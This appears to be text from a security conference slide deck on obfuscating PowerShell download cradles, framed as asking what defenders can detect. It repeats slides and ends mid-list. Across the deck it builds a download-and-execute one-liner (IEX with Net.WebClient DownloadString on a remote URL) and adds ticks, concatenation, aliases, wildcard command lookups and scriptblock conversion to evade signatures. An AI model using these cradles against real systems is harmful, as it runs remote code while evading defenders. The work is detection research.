(http://blog.cobaltstrike.com/2013/11/09/schtasks-persistence-with-powershell-one-liners/)
Obfuscating the Cradle: (New-Object Net.WebClient)
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What script block elements can we key off of for this?
Obfuscating the Cradle
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What script block elements can we key off of for this?
• Invoke-Expression
Obfuscating the Cradle
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
Obfuscating the Cradle
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• System.Net.WebClient
Obfuscating the Cradle
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• System.Net.WebClient
• ).DownloadString("http
Obfuscating the Cradle
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• System.Net.WebClient
• ).DownloadString("http
• Now let's demonstrate why assumptions are dangerous!
Obfuscating the Cradle
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• System.Net.WebClient
(System.* is not necessary for .Net functions)
• ).DownloadString("http
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString("http
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString("http
(url is a string and can be concatenated)
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tps://bit.ly/L3g1t")
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString("http
(url is a string and can be concatenated)
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tps://bit.ly/L3g1t")
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString("
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString("
(PowerShell string can be single or double quotes)
(…and did I mention whitespace?)
(…URL can also be set as variable.)
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString(
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString(
(is .DownloadString the only method for Net.WebClient?)
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).DownloadString(
Net.WebClient class has options:
•
.DownloadString
•
.DownloadStringAsync
•
.DownloadStringTaskAsync
•
.DownloadFile
•
.DownloadFileAsync
•
.DownloadFileTaskAsync
•
.DownloadData
•
.DownloadDataAsync
•
.DownloadDataTaskAsync
•
etc.
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).Download
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).Download
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• ).Download
(New-Object Net.WebClient) can be set as a variable:
$wc = New-Object Net.Webclient;
$wc.DownloadString( 'ht'+'tps://bit.ly/L3g1t')
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• .Download
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).DownloadString( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• .Download (Member token obfuscation?)
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient).'DownloadString'( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• .Download (single quotes…)
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."DownloadString"( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• .Download (double quotes…)
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."Down`loadString"( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download (tick marks??)
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."Down`loadString"( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
Get-Help about_Escape_Characters
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."`D`o`wn`l`oa`d`Str`in`g"( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
Get-Help about_Escape_Characters
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
Get-Help about_Escape_Characters
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
(Options: RegEx all the things or scratch this indicator)
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
(Options: RegEx all the things or scratch this indicator)
WebClient class has options:
•
.DownloadString…
•
.DownloadFile…
•
.DownloadData…
•
.OpenRead
•
.OpenReadAsync
•
.OpenReadTaskAsync
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
• Download
(Options: RegEx all the things or scratch this indicator)
DownloadString CAN be treated as a string or variable with .Invoke! (req’d in PS2.0)
Invoke-Expression (New-Object Net.WebClient).("Down"+"loadString").Invoke(
'ht'+'tps://bit.ly/L3g1t')
$ds = "Down"+"loadString"; Invoke-Expression (New-Object Net.WebClient).
$ds.Invoke( 'ht'+'tps://bit.ly/L3g1t')
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
Obfuscating the Cradle
• Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
We have options…
1.
(New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")
2.
(New-Object ("Net"+".Web"+"Client"))
3.
$var1="Net."; $var2="WebClient"; (New-Object $var1$var2)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Net.WebClient
We have options…
1.
(New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")
2.
(New-Object ("Net"+".Web"+"Client"))
3.
$var1="Net."; $var2="WebClient"; (New-Object $var1$var2)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• There aren't any aliases for New-Object cmdlet, so shouldn't this be safe to trigger on?
If only PowerShell wasn't so helpful…
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command
shows all available
functions, cmdlets,
etc.
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Return a single cmdlet name? Why not invoke it!
• Invoke-Expression (Get-Command New-Object)
But we can be more creative…
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Return a single cmdlet name? Why not invoke it!
• & (Get-Command New-Object)
• . (Get-Command New-Object)
There we go… invocation ops
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-Object)
• . (Get-Command New-Object)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-Objec*)
• . (Get-Command New-Objec*)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-Obje*)
• . (Get-Command New-Obje*)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-Obj*)
• . (Get-Command New-Obj*)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-Ob*)
• . (Get-Command New-Ob*)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command New-O*)
• . (Get-Command New-O*)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command *ew-O*)
• . (Get-Command *ew-O*)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Wildcards are our friend…
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Did I mention Get-Command also has aliases?
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
•
& (GCM *w-O*)
.
•
. (GCM *w-O*)
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object
• Get-Command Did I mention Get-Command also has MORE aliases?
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
•
& (GCM *w-O*)
.
•
. (GCM *w-O*)
•
& (COMMAND *w-O*)
.
•
. (COMMAND *w-O*)
COMMAND works because PowerShell
auto prepends "Get-" to any
command, so COMMAND resolves to
Get-Command.
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object | Get-Command | GCM | Command
• Get-Command Can also be set with a string variable
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)
•
& (GCM *w-O*)
.
•
. (GCM *w-O*)
•
& (COMMAND *w-O*)
.
•
. (COMMAND *w-O*)
Obfuscating the Cradle
• Invoke-Expression ((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T"). "`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t'))
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object | Get-Command | GCM | Command
• Get-Command Can also be set with a string variable
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)
•
& (GCM *w-O*)
.
•
. (GCM *w-O*)
•
& (COMMAND *w-O*)
.
•
. (COMMAND *w-O*)
PowerShell 1.0 ways of calling Get-Command:
1.
$ExecutionContext.InvokeCommand.GetCommand("New-Ob"+"ject", [System.Management.Automation.CommandTypes]::Cmdlet)
2.
$ExecutionContext.InvokeCommand.GetCmdlet("New-Ob"+"ject")
3.
$ExecutionContext.InvokeCommand.GetCommands("*w-o*",[System.Management.Automation.CommandTypes]::Cmdlet,1)
4.
$ExecutionContext.InvokeCommand.GetCmdlets("*w-o*")
5.
$ExecutionContext.InvokeCommand.GetCommand($ExecutionContext.InvokeCommand.GetCommandName("*w-o*",1,1),
[System.Management.Automation.CommandTypes]::Cmdlet)
6.
$ExecutionContext.InvokeCommand.GetCmdlet($ExecutionContext.InvokeCommand.GetCommandName("*w-o*",1,1))
Obfuscating the Cradle
• Invoke-Expression (New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object | Get-Command | GCM | Command
• Get-Command Can also be set with a string variable
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)
•
& (GCM *w-O*)
.
•
. (GCM *w-O*)
•
& (COMMAND *w-O*)
.
•
. (COMMAND *w-O*)
NOTE: Get-Command's
cousin is just as useful…
Get-Alias / GAL / Alias
Obfuscating the Cradle
• Invoke-Expression (& (GCM *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object | Get-Command | GCM | Command | Get-Alias | GAL | Alias
• Get-Command Can also be set with a string variable
• & (Get-Command *w-O*)
• . (Get-Command *w-O*)
• $var1="New"; $var2="-Object"; $var3=$var1+$var2; & (GCM $var3)
•
& (GCM *w-O*)
.
•
. (GCM *w-O*)
•
& (COMMAND *w-O*)
.
•
. (COMMAND *w-O*)
Obfuscating the Cradle
• Invoke-Expression (& (GCM *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• New-Object | Get-Command | GCM | Command | Get-Alias | GAL | Alias
• Given wildcards it's infeasible to find all possible ways for Get-
Command/GCM/Command/Get-Alias/GAL/Alias to find and execute New-Object, so potential
for FPs with this approach.
Obfuscating the Cradle
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• `N`e`w`-`O`b`j`e`c`T | `G`e`T`-`C`o`m`m`a`N`d | `G`C`M | `C`O`M`M`A`N`D | G`e`T`-`A`l`i`A`s |
`G`A`L | `A`l`i`A`s
• Ticks also work on PowerShell cmdlets…
Obfuscating the Cradle
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• `N`e`w`-`O`b`j`e`c`T | `G`e`T`-`C`o`m`m`a`N`d | `G`C`M | `C`O`M`M`A`N`D | G`e`T`-`A`l`i`A`s |
`G`A`L | `A`l`i`A`s
• Ticks also work on PowerShell cmdlets…and so do invocation operators.
• & ('Ne'+'w-Obj'+'ect') & ("{1}{0}{2}" -f 'w-Ob','Ne','ject')
• . ('Ne'+'w-Obj'+'ect') & ("{1}{0}{2}" -f 'w-Ob','Ne','ject')
Concatenated
Reordered
Obfuscating the Cradle
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• `N`e`w`-`O`b`j`e`c`T | `G`e`T`-`C`o`m`m`a`N`d | `G`C`M | `C`O`M`M`A`N`D | G`e`T`-`A`l`i`A`s |
`G`A`L | `A`l`i`A`s
• Ticks also work on PowerShell cmdlets…and so do invocation operators.
• Once again, Regex all the things or give up on this indicator
Obfuscating the Cradle
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
Obfuscating the Cradle
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
Obfuscating the Cradle
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1.
Aliases: Invoke-Expression / IEX
1.
Invoke-Expression "Write-Host IEX Example -ForegroundColor Green"
2.
IEX "Write-Host IEX Example -ForegroundColor Green"
Obfuscating the Cradle
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1.
Aliases: Invoke-Expression / IEX
2.
Order
1.
IEX "Write-Host IEX Example -ForegroundColor Green"
2.
"Write-Host IEX Example -ForegroundColor Green" | IEX
Obfuscating the Cradle
.
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1.
Aliases: Invoke-Expression / IEX
2.
Order
3.
Ticks
1.
`I`E`X
2.
`I`N`v`o`k`e`-`E`x`p`R`e`s`s`i`o`N
Obfuscating the Cradle
.
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1.
Aliases: Invoke-Expression / IEX
2.
Order
3.
Ticks
4.
Invocation operators
1.
& ('I'+'EX')
2.
. ('{1}{0}' -f 'EX','I')
Obfuscating the Cradle
.
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1.
Aliases: Invoke-Expression / IEX
2.
Order
3.
Ticks
4.
Invocation operators
1.
& ('I'+'EX')
2.
. ('{1}{0}' -f 'EX','I')
Obfuscating the Cradle
.
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression
• What's potentially problematic about Invoke-Expression?
1.
Aliases: Invoke-Expression / IEX
2.
Order
3.
Ticks
4.
Invocation operators
5.
Invoke-Expression vs Invoke-Command
• What's potentially problematic about "Invoke-Expression"???
1.
Aliases: Invoke-Expression / IEX
2.
Order
3.
Ticks
4.
Invocation operators
5.
Invoke-Expression vs Invoke-Command
Cmdlet/Alias
Example
Invoke-Command
Invoke-Command {Write-Host ICM Example -ForegroundColor Green}
ICM
ICM {Write-Host ICM Example -ForegroundColor Green}
.Invoke()
{Write-Host ICM Example -ForegroundColor Green}.Invoke()
&
& {Write-Host ICM Example -ForegroundColor Green}
.
. {Write-Host ICM Example -ForegroundColor Green}
Obfuscating the Cradle
.InvokeReturnAsIs()
.InvokeWithContext() PS3.0+
Obfuscating the Cradle
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression || IEX || Invoke-Command || ICM || .Invoke() || … "&" or "." ?!?!?
• So we add the Invoke-Command family to our arguments…
Obfuscating the Cradle
• Invoke-Expression (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• Invoke-Expression || IEX || Invoke-Command || ICM || .Invoke() || … "&" or "." ?!?!?
• So we add the Invoke-Command family to our arguments…
• Don’t forget about PS 1.0!
• $ExecutionContext.InvokeCommand.InvokeScript({Write-Host SCRIPTBLOCK})
• $ExecutionContext.InvokeCommand.InvokeScript("Write-Host EXPRESSION")
Obfuscating the Cradle
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• So we add the Invoke-Command family to our arguments…
• And add in ticks…
Obfuscating the Cradle
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
Obfuscating the Cradle
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What script block elements can we key off of for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
• Of course not, because we can convert strings to script blocks!
Obfuscating the Cradle
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line args can we key off of for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
• Of course not, because we can convert strings to script blocks!
.Net and PS 1.0 Syntax for Script Block Conversion
1.
[Scriptblock]::Create("Write-Host Script Block Conversion")
2.
$ExecutionContext.InvokeCommand.NewScriptBlock("Write-Host Script Block
Conversion")
Obfuscating the Cradle
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
• What process command line args can we key off of for this?
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M ||
. "`I`N`V`o`k`e"( ) || … "&" or "." ?!?!?
• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
• Of course not, because we can convert strings to script blocks!
.Net and PS 1.0 Syntax for Script Block Conversion…and we can obfuscate those too!
1.
([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")
2.
